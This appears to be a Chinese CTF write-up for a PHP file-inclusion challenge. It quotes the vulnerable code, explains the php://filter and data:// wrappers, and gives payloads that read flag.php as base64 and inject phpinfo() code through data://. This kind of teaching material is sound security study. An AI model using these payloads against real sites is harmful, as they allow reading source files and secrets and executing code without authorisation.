题目
访问题目场景
阅读php代码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))//判断两个变量是否为空
{
if(file_get_contents($file2) === "hello ctf")//一个强等于判断file2中是否有hello ctf
{
include($file1);//文件包含file1
}
}
else
die("NONONO");
}
构造payload,这里文件包含的file1使用的是php伪函数进行传输的,file2使用的data://text/plain进行内容的传入
php://filter 伪协议
读取文件源代码;只需要fopen打开;一般在知晓网站路径的情况下使用。
用法示例:?page=php://filter/read=convert.base64-encode/resource=learn.php
这样,其返回的就是learn.php base64加密后的代码内容。此处learn.php与漏洞文件在同一目录下;否则,还要写相对路径的。
data://text/plain
可以执行任何代码;需要fopen和include全部打开。
用法示例1:?page=data://text/plain,<?php phpinfo(); ?>
用法示例2:?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
注:经过base64编码后的加号和等号最好手动将其换成url编码形式,以免识别不了。( =[%3d]; +[%2b] )
?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
进行base64解密,即可得到flag